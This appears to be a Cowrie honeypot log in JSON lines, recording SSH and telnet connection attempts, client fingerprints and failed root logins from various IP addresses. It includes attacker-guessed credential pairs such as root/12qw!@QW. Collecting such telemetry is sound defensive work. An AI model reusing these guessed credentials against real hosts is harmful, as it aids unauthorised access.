{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:36.338326Z","src_ip":"106.243.250.115","session":"ab787796d5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46058,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ef2d131bba","protocol":"telnet","message":"New connection: 69.4.83.194:46058 (159.203.135.109:23) [session: d4ef2d131bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:37.902493Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48318,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e71190d3a5","protocol":"telnet","message":"New connection: 69.4.83.194:48318 (159.203.135.109:23) [session: b2e71190d3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:42.660301Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52012,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd5a62618786","protocol":"telnet","message":"New connection: 69.4.83.194:52012 (159.203.135.109:23) [session: fd5a62618786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:53.293960Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.87.102","src_port":39594,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aab555e6b1f","protocol":"ssh","message":"New connection: 23.94.87.102:39594 (10.17.0.5:22) [session: 7aab555e6b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.481017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.486525Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.507646Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:33:8a:24:95:7f:bd:ec:ee:8a:65:5f:e4:f7:df:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9PPfdFvrprvaWhtB8hKfxRNQ4a090dhQ4oRmZYcK7/w3HpPJABIay9hthHsRX27E0mUFscm6mzxIzsYfCP4AzC3dsMvSMxqXngg2AJEex8FKcWz3rwYkZ1E/WlA3MkYJYROlxuYitWrWAI1UVlicZ47vUk/dByvCGlzxStRw1luuLFzslX37Pxu6A71mEYN09IyFADmUTXYi9t9hqpf5bfIgWo1kw0nIU7OJIdSOM5UMaL5lgs8L2kGJvkiQ53gorWLyXcw5H2f9bl7O4Rb+LwwLvHJhHaTMPiYumVg4GXwE4zlqlEMQXp3fBQKYJDzI74enEqTgMo6ONvndJloSB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:33:8a:24:95:7f:bd:ec:ee:8a:65:5f:e4:f7:df:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.591472Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:33:8a:24:95:7f:bd:ec:ee:8a:65:5f:e4:f7:df:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9PPfdFvrprvaWhtB8hKfxRNQ4a090dhQ4oRmZYcK7/w3HpPJABIay9hthHsRX27E0mUFscm6mzxIzsYfCP4AzC3dsMvSMxqXngg2AJEex8FKcWz3rwYkZ1E/WlA3MkYJYROlxuYitWrWAI1UVlicZ47vUk/dByvCGlzxStRw1luuLFzslX37Pxu6A71mEYN09IyFADmUTXYi9t9hqpf5bfIgWo1kw0nIU7OJIdSOM5UMaL5lgs8L2kGJvkiQ53gorWLyXcw5H2f9bl7O4Rb+LwwLvHJhHaTMPiYumVg4GXwE4zlqlEMQXp3fBQKYJDzI74enEqTgMo6ONvndJloSB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.597457Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:51:fd:d9:11:1e:50:fb:b0:5c:59:54:0c:ab:cf:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApyIPaIjx5IggO00EGeLNaQ/TfcXK9vuxjbrM1er8WFN91Jjq88mZLPQR9ZDlUECXrqrCXuJxc93GFM0EC5BB6L/6/iBG2TPeoAuV8XjG8p9IRWNAxohnhIEZbMrBXWj/oJdx7sUnR6qR4RIkal4GYeXuqEf7D3LJOH+7qgYjT+L40JK9xszUtflQDI1VYaVdo8VZD9s9OZEpbO/zMlIf9KPMVDWqedbYbLc6HEGdBttY0jN72oY/+rdtNg3JXKuUnUa4cuLMsu4hZ3gtGrrA0EQsZvYmesCQjpVQCVi4WvHV+7XzRakWj1KrXtz+ZuA5aaRAYIQCIcTkHDmS0qokxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:51:fd:d9:11:1e:50:fb:b0:5c:59:54:0c:ab:cf:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.622549Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:51:fd:d9:11:1e:50:fb:b0:5c:59:54:0c:ab:cf:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApyIPaIjx5IggO00EGeLNaQ/TfcXK9vuxjbrM1er8WFN91Jjq88mZLPQR9ZDlUECXrqrCXuJxc93GFM0EC5BB6L/6/iBG2TPeoAuV8XjG8p9IRWNAxohnhIEZbMrBXWj/oJdx7sUnR6qR4RIkal4GYeXuqEf7D3LJOH+7qgYjT+L40JK9xszUtflQDI1VYaVdo8VZD9s9OZEpbO/zMlIf9KPMVDWqedbYbLc6HEGdBttY0jN72oY/+rdtNg3JXKuUnUa4cuLMsu4hZ3gtGrrA0EQsZvYmesCQjpVQCVi4WvHV+7XzRakWj1KrXtz+ZuA5aaRAYIQCIcTkHDmS0qokxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.627642Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:5b:8f:d1:6f:e4:b5:50:4b:dd:93:1a:37:88:2c:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjjLuv7RPVV5G7obigiHVcpGoSiLDmWZiZdWq6ArvGg1cnamBNOZUx8QgIvFMz9AZCfFGR110LybH4GJtlsyKCvvL3tvwMJ+/KWXjiinz8XHA5cw8sEXEBasxkmcu4P/aQcC6w/qgfx1z9ox7u3gSFN0m38UnVHg2tH/FbAlBfI3q22DrRJibx67HQIPI9jfhc9DJha/NBsZRja5WnmHruepJ+Nmi5fMp8H6nubIasFJD8xrE81Wr42zU/KkTz3dRQyXU08cosyt5cZGITCNiiCRmfjjeXpD6aJ9BP3t7PrOEtKME10F/RRm2fB2BU4JGladfuzqQL2+sonArgmVt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:5b:8f:d1:6f:e4:b5:50:4b:dd:93:1a:37:88:2c:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.652648Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:5b:8f:d1:6f:e4:b5:50:4b:dd:93:1a:37:88:2c:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjjLuv7RPVV5G7obigiHVcpGoSiLDmWZiZdWq6ArvGg1cnamBNOZUx8QgIvFMz9AZCfFGR110LybH4GJtlsyKCvvL3tvwMJ+/KWXjiinz8XHA5cw8sEXEBasxkmcu4P/aQcC6w/qgfx1z9ox7u3gSFN0m38UnVHg2tH/FbAlBfI3q22DrRJibx67HQIPI9jfhc9DJha/NBsZRja5WnmHruepJ+Nmi5fMp8H6nubIasFJD8xrE81Wr42zU/KkTz3dRQyXU08cosyt5cZGITCNiiCRmfjjeXpD6aJ9BP3t7PrOEtKME10F/RRm2fB2BU4JGladfuzqQL2+sonArgmVt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.660390Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:e2:a8:2e:d2:20:2b:04:d8:70:de:dc:9a:83:ef:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3UChPU+OMD9an8dtd8lnlBo7aY1OQGty9ZLloYCjo6rjncG26tWpMHOqSschVosdri4wg2H4mXr2iqZp4FL6TikyaavJ10vGt8jsDSqCuEECNXR4yFzW87mumY4iL4zg73DzwmZfQK0Pr+QLp32OjzCWN5yPLbh28RTOYN0CNSkiTNXvcsvrmjjgxcv00RtT8frOu1JIE/WqVZC0kwWPUcZdYZjybz5mXH5ZB9TWEZ7AnujToKDN8rrLTYJ+XFGbhEbtc3N2JVURrK/uwQOLTlN6+qtzbKMepjXlgb8udHxEXlnI+jHEJNPIvIko2mbfGfTwkRPxQ04Ge6U/3mj0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:e2:a8:2e:d2:20:2b:04:d8:70:de:dc:9a:83:ef:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.686391Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:e2:a8:2e:d2:20:2b:04:d8:70:de:dc:9a:83:ef:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3UChPU+OMD9an8dtd8lnlBo7aY1OQGty9ZLloYCjo6rjncG26tWpMHOqSschVosdri4wg2H4mXr2iqZp4FL6TikyaavJ10vGt8jsDSqCuEECNXR4yFzW87mumY4iL4zg73DzwmZfQK0Pr+QLp32OjzCWN5yPLbh28RTOYN0CNSkiTNXvcsvrmjjgxcv00RtT8frOu1JIE/WqVZC0kwWPUcZdYZjybz5mXH5ZB9TWEZ7AnujToKDN8rrLTYJ+XFGbhEbtc3N2JVURrK/uwQOLTlN6+qtzbKMepjXlgb8udHxEXlnI+jHEJNPIvIko2mbfGfTwkRPxQ04Ge6U/3mj0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.693543Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:5f:33:83:74:06:a7:80:2e:dd:93:c0:79:ba:ec:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ5RG+MyayGST39Ilh2ayJ8uiBI0Q+7I5AxL2ClepZH4KnFiRr4DhSkP8MzEhQnm1ju/WkpE5i1SXL4p0WbgUIeH/WOgV/DtCeRx4rLcpgpThLcKoZG61MIAq6XEmQqMdgTYgxhEqKxXHTCAznDOnHy3b1VVXneSIGN3uVsA5RndPQPno8Swuo2EWCVupfSO4otnb0Q6EUbw5OZoiIqEdYKjfOxOAoJhitO/ni1RkEKJt324ylfWp2mpW11VpzkZ1PJ6sgf/ShwlCNGvFh7QeS9SOCnaEbkc0XRFO5XH/jM4Gs1M0QHaqZ6E251YMftmfgz8cmypG5fBgLkoqmZlqcOyQ6g6CN2oG/nsqVLAQqvXOfBN0n2g7yUMyN5cFUK008srGYVW1K0ULcDIsz1cYKAnOC7aLdHi4+H3rypAeN1Tqts0hghydIQdk7DizZ+xZOAvHPNkCV7Hw24iiBe7hZ7VvTzxKaNPF94VrP8WMSFukdSfX7lHFAl7034LnER5YzEjyzX9j2+7lhNO0nf4AHv/xXfZd37oS69V/vixcjVcKiUI4usdbGYDmtB9UfPFnOKcGPavoj7jNlbYoI5aFTkouM/y79EQDPf5ibxpkxqFG9rhSTYp+wsdZnfyrjPaOj8Z4vdrwqDdq57LVZunoqwDz7hT0LI3iMPanREPyXhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:5f:33:83:74:06:a7:80:2e:dd:93:c0:79:ba:ec:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.718888Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:5f:33:83:74:06:a7:80:2e:dd:93:c0:79:ba:ec:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ5RG+MyayGST39Ilh2ayJ8uiBI0Q+7I5AxL2ClepZH4KnFiRr4DhSkP8MzEhQnm1ju/WkpE5i1SXL4p0WbgUIeH/WOgV/DtCeRx4rLcpgpThLcKoZG61MIAq6XEmQqMdgTYgxhEqKxXHTCAznDOnHy3b1VVXneSIGN3uVsA5RndPQPno8Swuo2EWCVupfSO4otnb0Q6EUbw5OZoiIqEdYKjfOxOAoJhitO/ni1RkEKJt324ylfWp2mpW11VpzkZ1PJ6sgf/ShwlCNGvFh7QeS9SOCnaEbkc0XRFO5XH/jM4Gs1M0QHaqZ6E251YMftmfgz8cmypG5fBgLkoqmZlqcOyQ6g6CN2oG/nsqVLAQqvXOfBN0n2g7yUMyN5cFUK008srGYVW1K0ULcDIsz1cYKAnOC7aLdHi4+H3rypAeN1Tqts0hghydIQdk7DizZ+xZOAvHPNkCV7Hw24iiBe7hZ7VvTzxKaNPF94VrP8WMSFukdSfX7lHFAl7034LnER5YzEjyzX9j2+7lhNO0nf4AHv/xXfZd37oS69V/vixcjVcKiUI4usdbGYDmtB9UfPFnOKcGPavoj7jNlbYoI5aFTkouM/y79EQDPf5ibxpkxqFG9rhSTYp+wsdZnfyrjPaOj8Z4vdrwqDdq57LVZunoqwDz7hT0LI3iMPanREPyXhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.723896Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:54.747995Z","src_ip":"23.94.87.102","session":"7aab555e6b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":58054,"dst_ip":"159.203.135.109","dst_port":22,"session":"e015e4ebe34f","protocol":"ssh","message":"New connection: 213.183.120.56:58054 (159.203.135.109:22) [session: e015e4ebe34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:58.502773Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":51980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6f34420b900","protocol":"ssh","message":"New connection: 180.178.94.210:51980 (159.203.135.109:22) [session: c6f34420b900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:01.875337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:01.881452Z","src_ip":"180.178.94.210","session":"c6f34420b900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:02.156272Z","src_ip":"180.178.94.210","session":"c6f34420b900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:03.269711Z","src_ip":"180.178.94.210","session":"c6f34420b900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:04.536088Z","src_ip":"180.178.94.210","session":"c6f34420b900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.40710759162903,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:10.309484Z","src_ip":"69.4.83.194","session":"d4ef2d131bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":52624,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f123f3f498d","protocol":"ssh","message":"New connection: 43.133.65.220:52624 (159.203.135.109:22) [session: 4f123f3f498d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:16.535414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:16.539990Z","src_ip":"43.133.65.220","session":"4f123f3f498d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:16.764606Z","src_ip":"43.133.65.220","session":"4f123f3f498d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.24228096008301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:16.902453Z","src_ip":"69.4.83.194","session":"b2e71190d3a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw!@QW","message":"login attempt [root/12qw!@QW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:17.684948Z","src_ip":"43.133.65.220","session":"4f123f3f498d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:18.910686Z","src_ip":"43.133.65.220","session":"4f123f3f498d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb393204d561","protocol":"ssh","message":"New connection: 109.237.96.109:42618 (159.203.135.109:22) [session: eb393204d561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.434407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.439462Z","src_ip":"109.237.96.109","session":"eb393204d561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.529393Z","src_ip":"109.237.96.109","session":"eb393204d561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"97e0b34d07f2","protocol":"ssh","message":"New connection: 182.18.161.165:41900 (159.203.135.109:22) [session: 97e0b34d07f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.637050Z"}
